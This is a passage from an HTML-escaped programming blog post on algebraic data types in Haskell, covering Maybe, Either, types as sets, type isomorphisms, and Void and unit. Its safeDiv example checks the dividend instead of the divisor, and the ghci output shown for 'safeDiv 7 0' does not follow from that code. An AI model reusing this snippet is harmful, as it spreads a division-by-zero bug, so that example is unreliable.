&lt;p&gt;There are two common sum types in the wild: &lt;code&gt;Maybe&lt;/code&gt; (introduced previously) and &lt;code&gt;Either&lt;/code&gt;. These are typically used to express errors: either an error occurred or a valid result is returned.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Maybe&lt;/code&gt; and &lt;code&gt;Either&lt;/code&gt; have other names as well. In Rust, they’re called &lt;a href=&quot;https://doc.rust-lang.org/std/option/enum.Option.html&quot;&gt;&lt;code&gt;Option&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://doc.rust-lang.org/std/result/enum.Result.html&quot;&gt;&lt;code&gt;Result&lt;/code&gt;&lt;/a&gt;. In Scala, it’s &lt;a href=&quot;https://www.scala-lang.org/api/2.13.3/scala/Option.html&quot;&gt;&lt;code&gt;Option&lt;/code&gt;&lt;/a&gt; (not the same one as Rust!) and &lt;a href=&quot;https://www.scala-lang.org/api/2.13.6/scala/util/Either.html&quot;&gt;&lt;code&gt;Either&lt;/code&gt;&lt;/a&gt;. In C++, it’s &lt;a href=&quot;https://en.cppreference.com/w/cpp/utility/optional&quot;&gt;&lt;code&gt;optional&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://github.com/TartanLlama/expected&quot;&gt;&lt;code&gt;expected&lt;/code&gt;&lt;/a&gt;&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/the-mathematics-of-types/#fn2&quot; id=&quot;fnref2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;.
This list isn&#39;t exhaustive, but it goes to show how ubiquitous sum types are—though not as widespread as product types, for historic reasons.&lt;/p&gt;
&lt;p&gt;Again, &lt;code&gt;Maybe&lt;/code&gt; is defined as a sum type like so:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Maybe&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Nothing&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Just&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Haskell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Here, &lt;code&gt;a&lt;/code&gt; is a type parameter, much like the type parameters in C++ templates and other generic programming languages. We can substitute types to get a &lt;strong&gt;concrete type&lt;/strong&gt;. For example, we can have &lt;code&gt;Maybe Int&lt;/code&gt;, &lt;code&gt;Maybe Bool&lt;/code&gt;, &lt;code&gt;Maybe String&lt;/code&gt;, or—for the absolute masochists—&lt;code&gt;Maybe (Maybe (Maybe Int))&lt;/code&gt;!&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Maybe&lt;/code&gt; is commonly used to denote a computation that might fail. For instance, we can write a safe integer divide function which returns &lt;code&gt;Nothing&lt;/code&gt; when the divisor is &lt;code&gt;0&lt;/code&gt; (indicating an error, since we can&#39;t divide) and returning the wrapped quotient otherwise.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token hvariable&quot;&gt;ghci&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;safeDiv&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;then&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Nothing&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Just&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;`div`&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;ghci&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;safeDiv&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;
&lt;span class=&quot;token constant&quot;&gt;Just&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;ghci&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;safeDiv&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;7&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;
&lt;span class=&quot;token constant&quot;&gt;Just&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;ghci&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;safeDiv&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;7&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;
&lt;span class=&quot;token constant&quot;&gt;Nothing&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Haskell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;Maybe&lt;/code&gt; is used in other places where the error is obvious, such as in map lookup (where &lt;code&gt;Nothing&lt;/code&gt; implies non-existence).&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Either&lt;/code&gt; is similar, but is defined over two type parameters.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Either&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Left&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Right&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;b&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Haskell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The type parameters &lt;code&gt;a&lt;/code&gt; and &lt;code&gt;b&lt;/code&gt; can be anything; but commonly, &lt;code&gt;a&lt;/code&gt; is used to describe an error (such as a &lt;code&gt;String&lt;/code&gt; or an enum) while &lt;code&gt;b&lt;/code&gt; is some successful computation.&lt;/p&gt;
&lt;p&gt;In the wild, &lt;code&gt;Either&lt;/code&gt; is used in Haskell parsing libraries to return parse results. Sometimes, the parse is successful and returns the generated tree or data (&lt;code&gt;Right&lt;/code&gt;). Other times, the parse fails and the library returns information of where it failed (&lt;code&gt;Left&lt;/code&gt;). For example, maybe it failed to parse an unexpected &lt;code&gt;:&lt;/code&gt; at line 5, column 42 of something.json.&lt;/p&gt;
&lt;h2 id=&quot;the-algebra-of-types&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/the-mathematics-of-types/#the-algebra-of-types&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; The Algebra of Types&lt;/h2&gt;
&lt;p&gt;The astute may notice that product types combine types in an “&lt;em&gt;&lt;strong&gt;and&lt;/strong&gt;&lt;/em&gt;” fashion, whereas sum types do so in an “&lt;em&gt;&lt;strong&gt;or&lt;/strong&gt;&lt;/em&gt;” fashion. One of the alluring aspects of ADTs is that we can construct an algebra over them, allowing us to rigorously work with types.&lt;/p&gt;
&lt;p&gt;In the following parts, we&#39;ll explore how types relate to math and apply algebraic principles similar to those from elementary!&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-circle-info ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;A word on notation.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Monospaced letters ($&#92;texttt{a}$) denote types/code,&lt;/li&gt;
&lt;li&gt;$|&#92;texttt{a}|$ denotes the size of set &lt;code&gt;a&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;$&#92;equiv$ denotes an isomorphism between types (as in $&#92;texttt{Int} &#92;equiv &#92;texttt{Int}$), and&lt;/li&gt;
&lt;li&gt;$=$ is reserved for good ol&#39; algebraic equivalence.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;types-as-sets&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/the-mathematics-of-types/#types-as-sets&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Types as Sets&lt;/h3&gt;
&lt;p&gt;Let’s start by treating types as &lt;em&gt;sets of values&lt;/em&gt;.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/the-mathematics-of-types/#fn3&quot; id=&quot;fnref3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt; For instance, a &lt;code&gt;Bool&lt;/code&gt; can be thought of as a set of two values: ${&#92;texttt{True}, &#92;texttt{False}}$, so $|&#92;texttt{Bool}| = 2$.&lt;/p&gt;
&lt;p&gt;What about a $(&#92;texttt{Bool}, &#92;texttt{Bool})$?  Each &lt;code&gt;Bool&lt;/code&gt; can be either &lt;code&gt;True&lt;/code&gt; or &lt;code&gt;False&lt;/code&gt;; thus their combination yields $|(&#92;texttt{Bool}, &#92;texttt{Bool})| = 2 &#92;times 2 = 4$ values. Generalising this,&lt;/p&gt;
&lt;p&gt;$$
|&#92;texttt{(a, b)}| = |&#92;texttt{a}| &#92;times |&#92;texttt{b}|
$$&lt;/p&gt;
&lt;p&gt;See how it got the name “product type”?&lt;/p&gt;
&lt;p&gt;What about sum types? How many values can &lt;code&gt;Maybe Bool&lt;/code&gt; take? In the &lt;code&gt;Nothing&lt;/code&gt; branch, we have one value: &lt;code&gt;Nothing&lt;/code&gt;. In the &lt;code&gt;Just&lt;/code&gt; branch, we have two: &lt;code&gt;Just True&lt;/code&gt; and &lt;code&gt;Just False&lt;/code&gt;. Altogether, $|&#92;texttt{Maybe Bool}| = 3$. In general,&lt;/p&gt;
&lt;p&gt;$$
&#92;begin{align*}
|&#92;texttt{Maybe a}| &amp;amp;= |&#92;texttt{a}| + 1 &#92;&#92;
|&#92;texttt{Either a b}| &amp;amp;= |&#92;texttt{a}| + |&#92;texttt{b}|
&#92;end{align*}
$$&lt;/p&gt;
&lt;p&gt;Indeed, product types resemble multiplication over spaces whereas sum types suggest addition over spaces.&lt;/p&gt;
&lt;h3 id=&quot;isomorphism-of-types&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/the-mathematics-of-types/#isomorphism-of-types&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Isomorphism of Types&lt;/h3&gt;
&lt;p&gt;The above-mentioned mathematical representation may come in handy when refactoring/optimising code.&lt;/p&gt;
&lt;p&gt;Suppose we want a type with two “bins”: bin A and bin B. Items can belong to either bin, but not both… How can we represent this as a type?&lt;/p&gt;
&lt;p&gt;One way is to use &lt;code&gt;Either a a&lt;/code&gt;. We let &lt;code&gt;Left x&lt;/code&gt; denote items in bin A, and &lt;code&gt;Right x&lt;/code&gt; denote those in bin B.&lt;/p&gt;
&lt;p&gt;Is there another way to represent the problem? Yes: &lt;code&gt;(Bool, a)&lt;/code&gt;. We can use the &lt;code&gt;Bool&lt;/code&gt; to flag whether the corresponding item is in bin A. Thus, &lt;code&gt;(True, x)&lt;/code&gt; and &lt;code&gt;(False, x)&lt;/code&gt; are used to denote items in bin A and B respectively.&lt;/p&gt;
&lt;p&gt;In fact, we’ve just constructed an &lt;strong&gt;isomorphism&lt;/strong&gt; between types!&lt;/p&gt;
&lt;p&gt;The beauty is in the algebra. The equivalence above can be succinctly (and abstractly!) written as $&#92;texttt{Either a a} {} &#92;equiv &#92;texttt{(Bool, a)}$—or more algebraically, $a + a = 2a$.&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;More formally, an isomorphism exists between types &lt;code&gt;a&lt;/code&gt; and &lt;code&gt;b&lt;/code&gt; if we can &lt;em&gt;convert between the two types without loss of information&lt;/em&gt;. The most straightforward approach is to define two functions: &lt;code&gt;toRHS :: a -&amp;gt; b&lt;/code&gt; and &lt;code&gt;toLHS :: b -&amp;gt; a&lt;/code&gt;. Alternatively with the algebra presented above, we can easily prove isomorphisms by checking the algebraic equivalence of two types!&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;With the toy example presented above, our converters would be&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token hvariable&quot;&gt;toRHS&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Either&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;Bool&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;toRHS&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;Left&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;toRHS&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;Right&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token hvariable&quot;&gt;toLHS&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;Bool&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Either&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;toLHS&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Left&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;toLHS&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Right&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Haskell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Notice how information is preserved, i.e. $&#92;texttt{toLHS }(&#92;texttt{toRHS } x) = x,&#92; &#92;forall x &#92;in &#92;texttt{Either a a}$ and $&#92;texttt{toRHS } (&#92;texttt{toLHS }y) = y, &#92; &#92;forall y &#92;in &#92;texttt{(Bool, a)}$.&lt;/p&gt;
&lt;p&gt;In the same vein, the following types are also equivalent:&lt;/p&gt;
&lt;p&gt;$$&#92;texttt{Maybe (Maybe a)} &#92;equiv &#92;texttt{Either Bool a}$$&lt;/p&gt;
&lt;p&gt;$$&#92;texttt{Maybe} &#92;texttt{(Either (a, a) (Bool, a))} &#92;equiv &#92;texttt{(Maybe a, Maybe a)}$$&lt;/p&gt;
&lt;!-- 
$$&#92;begin{align*}
&#92;texttt{Maybe (Maybe a)} &amp;&#92;equiv &#92;texttt{Either Bool a} &#92;&#92;&#92;&#92;
&#92;texttt{Maybe} &#92;texttt{(Either (a, a) (Bool, a))} &amp;&#92;equiv &#92;texttt{(Maybe a, Maybe a)}
&#92;end{align*}
$$ --&gt;
&lt;h3 id=&quot;unit-values-in-the-algebra-of-types&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/the-mathematics-of-types/#unit-values-in-the-algebra-of-types&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Unit Values in the Algebra of Types&lt;/h3&gt;
&lt;p&gt;But wait, there’s more! There are also &lt;em&gt;null&lt;/em&gt; and &lt;em&gt;unit&lt;/em&gt; types which behave just like 0 and 1 in the integers, with the usual axioms.&lt;/p&gt;
&lt;p&gt;Meet &lt;code&gt;Void&lt;/code&gt; and &lt;code&gt;()&lt;/code&gt;, two very special types. &lt;code&gt;Void&lt;/code&gt; resembles the null set: it has &lt;em&gt;no concrete values&lt;/em&gt;. So how is this type used? Well, without any concrete values, its primary utility is in the type level. For example, in the &lt;a href=&quot;https://hackage.haskell.org/package/megaparsec&quot;&gt;Megaparsec&lt;/a&gt; parsing library, &lt;code&gt;Void&lt;/code&gt; is used in &lt;code&gt;Parsec Void u a&lt;/code&gt; to indicate a default option.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;()&lt;/code&gt; is the 0-tuple, the singleton set containing &lt;code&gt;()&lt;/code&gt; itself. (To clarify, “&lt;code&gt;()&lt;/code&gt;” is both a type and a value, depending on the context.)&lt;/p&gt;
&lt;div class=&quot;alert alert-warning d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-triangle-exclamation ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;C’s &lt;code&gt;void&lt;/code&gt; should &lt;strong&gt;not&lt;/strong&gt; be confused with Haskell’s &lt;code&gt;Void&lt;/code&gt;. The former is more like &lt;code&gt;()&lt;/code&gt;, containing only one possible result.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;With these funky creatures, we can write isomorphisms such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;$&#92;texttt{Either Void a} &#92;equiv &#92;texttt{a}$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Corresponds to $0 + a = a$.&lt;/li&gt;
&lt;li&gt;Bijection:&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token hvariable&quot;&gt;toRHS&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Either&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Void&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;toRHS&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;Right&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;-- toRHS (Left x) = undefined -- Implicit.&lt;/span&gt;

&lt;span class=&quot;token hvariable&quot;&gt;toLHS&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Either&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Void&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;toLHS&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Right&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Haskell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;$&#92;texttt{((), a)} &#92;equiv &#92;texttt{a}$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Corresponds to $1 &#92;times a = a$.&lt;/li&gt;
&lt;li&gt;Bijection:&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token hvariable&quot;&gt;toRHS&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;toRHS&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt;

&lt;span class=&quot;token hvariable&quot;&gt;toLHS&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
